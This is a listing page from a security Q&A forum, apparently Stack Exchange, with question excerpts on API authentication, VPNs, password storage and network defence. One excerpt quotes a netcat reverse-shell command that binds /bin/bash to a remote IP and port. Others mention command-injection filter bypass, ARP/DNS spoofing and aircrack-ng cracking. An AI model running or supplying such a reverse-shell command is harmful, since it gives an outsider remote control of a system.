1
vote
3answers
59 views

Risks of securing REST API using SSL?

We are thinking of building a REST API where all calls are over SSL. After successful login subsequent calls will include a token which was returned by the login service. The server will validate ...
-1
votes
0answers
26 views

How can I use my WIFI for businee and mange it whom to connect from my pc? [on hold]

I am running a cybercafe... I wish to charge for the wifi within this cafe, how is this possible? I am thinking of the easier alternative of manually allowing user through the routers admin panel. ...
5
votes
1answer
101 views

Script Kiddies - how do they find my server IP?

I've set up a site on Digital Ocean without a domain yet,so there is only the IP. Despite telling no-one of its existence nor have I advertised it, I get hundreds of notices from fail2ban that various ...
4
votes
1answer
112 views
+50

What are locked domain names technically?

I just learned about domain name locking at registrar level. I’m having problem to understand what it is, all I found is it’s a protection against domain name takeover through transfer. Now, I also ...
5
votes
2answers
50 views

Malicious user inflicting XSS attacks appears to be on my own network

I have a live Django project where I'm using nginx as a reverse proxy with gunicorn as the application server. It's a fairly new project and isn't SSL enabled yet. There's a user on this project who's ...
0
votes
0answers
24 views

Intermediate proxy intercepting my SSL data between my computer and the ISP

I did a simple penetration test of my linux firewall today using grc.com's shieldsup on their website (https://www.grc.com/x/ne.dll?bh0bkyd20). Previously when doing this it shows I have full stealth ...
4
votes
1answer
75 views

Microservice to Microservice Auth

We're planning a new architecture which will utlize a backend of many different microservices that will need to talk with each other as well as field requests from systems not part of the service. In ...
2
votes
1answer
22 views

Is a “standalone WPS server” possible?

Wi-Fi Protected Setup (WPS) is a network security standard to create a secure wireless home network. It aims at simplifying the enrollment of WiFi devices in a WiFi network (via a PIN, a ...
0
votes
0answers
15 views

command injection filter bypass

I am on a website thhat provides hacking and penetration testing environment safely, I came across a mission which says Agent, you may have already come across the pencil selling ecommerce site Kapa ...
2
votes
1answer
352 views

Website Login Security (Secure enough?)

I'm making a bigger site for the first time so security really matters, unlike for my really-bad boards with maybe 10 users. So I wanted to ask if the way I'm doing it is secure enough for a semi-big ...
1
vote
3answers
44 views

Block mobile tethering on android phones from Windows (DLP)

In our small organisation I have tried my best at implementing DLP by : 1. Making sure users access all files from the server 2.Local disks are denied access(forced to work only on network drives) ...
-1
votes
1answer
24 views

Are there pricing standards for Vulnerability assessment and penetration testing (VAPT) services?

Generally, to conduct vulnerability assessment and penetration testing (VAPT) for an application, we do charge some amount from the client, based on which criteria the companies charge their ...
0
votes
1answer
41 views

Can we store sensitive client information with the admins without them(admins) identifying it?

I am trying to design a pairing application for my university this valentine. How is it supposed to work, you ask?? The clients will submit preferences specifically names to the server and after some ...
0
votes
1answer
35 views

Security concerns of running auto-login script on server-side?

I would like to fetch data from a website to do data analysis on a server. Username and password are required for login to the website. Therefore I will need to run an auto-login script on the server. ...
21
votes
5answers
5k views

What is a good practical (and sane) way to manage all your passwords for online sites?

I am just a mere mortal that wants to have a somewhat secure way of managing all my passwords. This is something that I have been putting off, but since LinkedIn decided to give away one of my ...
-1
votes
0answers
6 views

max size of wordlist for airecrack-ng

i have trouble to use more then 2 GB wordlist on windows based airecrack-ng GUI as i read Aircrack can't manage files with more then 2GB, is it true ?
-6
votes
1answer
42 views

Am I Being Hacked?

A little long story follow me. I have had a weird experience with my pc in the past couple of days. It happened to me like a year ago. It was that my pc would open some weird trolling website every ...
1
vote
2answers
20 views

additional network security benefits from double hop dmz?

Core network --> Firewall Internal Zone --> Inner DMZ Firewall --> Outer Firewall --> Internet Based User I can't think of any reason why "Inner DMZ firewall" would make this topology more secured ...
12
votes
3answers
964 views

how does reverse shell behave?

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port): nc <ip> -e /bin/bash <port> I've never encountered ...
21
votes
4answers
4k views

What are the chances to generate the same ssh key?

I could generate ssh keys on the client like (without password): ssh-keygen -b 8192 -t rsa -f /home/THEUSER/.ssh/id_rsa -P '' -v and copy the generated id_rsa.pub to the server: ssh-copy-id -i ...
-5
votes
0answers
9 views

Special questions regarding encryption Albach [on hold]

What is the best encryption software in the server Seconds
0
votes
0answers
11 views

Open source software that does virtualised emulation like Fireeye and Palo Alto networks [on hold]

Fireeye Palo Alto networks and the number of other next-generation firewall vendor's provide virtualised sandbox emulation feature where an unknown file type will be executed in a virtualised sandbox ...
4
votes
1answer
518 views

What are the security implications of pairwise master key caching in Wireless Networks?

I'm currently investigating WPA2 enterprise security options, and I'm curious about PMK Caching. I've found lots of vendor information about it, and understand that the client does not need to ...
0
votes
3answers
108 views

Fraud detection to avoid fake users

I know there is no 100% solution for fraud detection, but at least I want to set some level of confidence in this use case. Suppose that I have a system where: -A user need to make a registration -A ...
3
votes
0answers
52 views

Unknown ports shown on Nmap scan…and other strange behavior

My local network has been exhibiting some inexplicable behaviour. Firstly connecting to my websites domain name from inside the lan redirected me to my router's login page. I checked again with 3g ...
4
votes
2answers
319 views

How secure is a password app that stores both the password and two factor secret in one place?

Take for example 1Password, that now can store your password and one time password secret in a single place (your 1Password vault). I know it isn't truly two-factor anymore, but how much better is it ...
1
vote
1answer
33 views

Allowing VIP Access Credentials from Mobile Devices (smart-phones/BB) but not Desktops

What could be an explanation for such a decision by a company? Simple oversight, or deliberate choice? It seems like a mobile device is easier to lose/crack. ETA: The company is using it as a 2FA for ...
0
votes
0answers
3 views

nfqueues and arp spoofing iptables [migrated]

I am ARP poisoning and DNS spoofing my home network for learning purposes. When I get the victim to send their packets to my attacking computer, which rule do I have to create so I can intercept the ...
3
votes
0answers
14 views

Does using the client keep the Keybase server honest even if you also use the web interface?

According to Keybase's documentation: [The] keybase clients in the wild play a crucial role in keeping the Keybase server honest. They check the integrity of user signature chains, and can find ...
2
votes
2answers
44 views

In what case should one encrypt cookies?

I am curious how one decides whether to encrypt cookies or not? And if so when should one use public private key over symmetric encryption?
0
votes
0answers
7 views

OSSEC error “agent_control(1750): ERROR: No remote connection configured. Exiting”

I am new to OSSEC and trying to figure the tool to deploy it. I have an ubuntu server where I downloaded and installed the security onion packages. I have a few windows systems which I would like to ...
2
votes
1answer
32 views

Network Architecture for CTF-scenario [on hold]

My boss recently enrolled me in an InfoSec training. I am part of the network team, but have limited experience in InfoSec. My first assignment is to draw a layout of a network that will be used ...
4
votes
2answers
68 views

Where should I store OAuth2 access tokens?

I am building a REST API back-end, for a mobile application. In our design choice, we decided to let OAuth2 providers handle the login security. However, I am not sure what the best practice is for ...
1
vote
1answer
26 views

Can an OpenVPN server track the client os type?

I was wondering when I connect to an OpenVPN server what kind of information can the server extract from my client? Obviously the server can detect my user-id, pwd, but can it detect: My ...
9
votes
1answer
71 views

How does a refresh token help? [duplicate]

I have a basic doubt or apparently am missing out on something fundamental. When talking about an Android app that talks to the backend using APIs, the access to the resources/APIs are protected ...
11
votes
2answers
789 views

Are SSL browser sessions kept alive across requests?

When a client requests an SSL web resource via a browser (ie: a login request) and then follows up with additional requests are all the requests executed in the same SSL session? Or does the browser ...
5
votes
3answers
878 views

CSRF Protection on static pages

I have a static site which has forms. The forms submit to a Rails endpoint which captures the submitted data. The static site and the Rails endpoint are on the same domain, on different subdomains and ...
0
votes
1answer
21 views

Is there any security implication of using WebRTC over unencrypted channel for streaming?

I've spend a few hours reading about WebRTC and everywhere it's recommended to use a secure connection for contacting with the signal server, so no MitM attacks could be possible. However, my project ...
0
votes
0answers
11 views

IPSEC Openswan TCPDUMP [on hold]

What does this mean? is the VPN connection completed or just going round in loops? Why can't I send traffic through the tunnel? 12:38:36.147938 IP (tos 0x0, ttl 245, id 43493, offset 0, flags [none], ...
0
votes
0answers
8 views

Does using Ghostery with Privacy Badger impair PB's heuristic learning?

I am running Ghostery and Privacy Badger for FF. From what I have read at eff.org/privacybadger, PB uses a heuristic algorithm to learn what 3rd-party sites are tracking me. If I am running Ghostery ...
0
votes
2answers
36 views

Personal Cloud Storage vs. File Sharing Services

In terms of maintaining Confidentiality, Integrity, and Availability, what are the risks and benefits associated with setting up a personal cloud storage device on your home network versus using a ...
2
votes
0answers
12 views

How do i know when IPSEC Phase 2 Has completed with Openswan?

When I bring up a connection using openswan I get the following output but I don't see any ESP traffic through ports 50, 500 or 4500. # ipsec auto --up globacom-vpn 104 "globacom-vpn" #44: ...
-2
votes
3answers
83 views

How to securely transfer password from a registration page to the database [duplicate]

What steps must be followed to send password securely from the user registration page (i.e. client side) to the server over a non encrypted channel (http) when the user registers for the first time ...
1
vote
1answer
67 views

Benefits of injecting antivirus inside browser

Some antiviruses propose you to use their browser plug-ins. For instance, Avast SafeZone propose you reactive defend by checking signatures of keylogers/malware/spyware etc. But, what's the benefit ...
1
vote
1answer
32 views

Prevent manipulation of password database

Given: A malicious user has gained (root) access to the server hosting an application's password database. Let's say the application is using a reliable password hashing mechanism like bcrypt and the ...
-2
votes
0answers
25 views

Airline ticket online buying session [on hold]

I bought an airline ticket that was booked for a different month than it should be. The problems may be: User input error Server error I have a cookie from the session from www.utiket.com to be ...
6
votes
1answer
151 views

Client identification using client certificates

I have the following scenario: Several independent embedded servers (Linux/ARM/lighttpd) Several independent controlling devices (win32/iOS/Android) Each server should have at least one controlling ...
27
votes
4answers
2k views

Fake users in database for compromise detection

I have read of sites* adding fake users to their databases and then monitoring their usage. One of these fake users being used or even attempted login may mean database compromise etc. This sounds ...
0
votes
2answers
1k views

Encrypt files on FTP server

I have a practical situation here, my company is a FTP server provider for some clients. The clients are sharing their files on our FTP server and have had no problem with access management and ...
0
votes
1answer
351 views

How to avoid storing plaintext during CHAP authentication

When using CHAP authentication, passwords are stored in plaintext, then I used reversible encryption to store password. However, I recently found Citrix states " storing passwords using reversible ...

15 30 50 per page